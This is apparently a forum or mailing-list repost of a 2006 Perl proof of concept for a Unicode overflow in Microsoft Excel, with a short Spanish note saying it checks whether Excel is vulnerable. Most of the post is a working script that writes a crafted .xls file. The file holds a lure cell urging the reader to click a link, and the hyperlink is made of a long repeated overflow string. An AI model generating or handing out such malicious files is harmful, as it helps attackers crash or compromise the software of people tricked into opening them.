Hi guys,
this is a Microsoft Excel 0DAY PoC:

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###############################
# excelsexywarez.pl
# excel unicode overflow poc
# by kcope in 2006
# thanks to revoguard and alex
###############################
use Spreadsheet::WriteExcel;

   my $workbook = Spreadsheet::WriteExcel->new("FUCK.xls");

   $worksheet = $workbook->add_worksheet();

   $format = $workbook->add_format();
   $format->set_bold();
   $format->set_color('red');
   $format->set_align('center');

   $col = $row = 5;
   $worksheet->write($row, $col, "kcope in da house! Click on the link!!!", $format);

   $a="AAAAAAAAAAAAAAAAAAAAAA\\" x 500;
   $worksheet->write_url(0, 0, "$a", "LINK");

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Regards...
Igor Marcel - Vugo Verbal Killer (VUGO), <vugo "at" hotmail.com>
Information Security Consultant
"Linux is modism, BSD is a life style!"

se usa para probar si tu excel es vulnerable.
esta en perl, y necesitas el modulo Spreadsheet::WriteExcel

Saludos!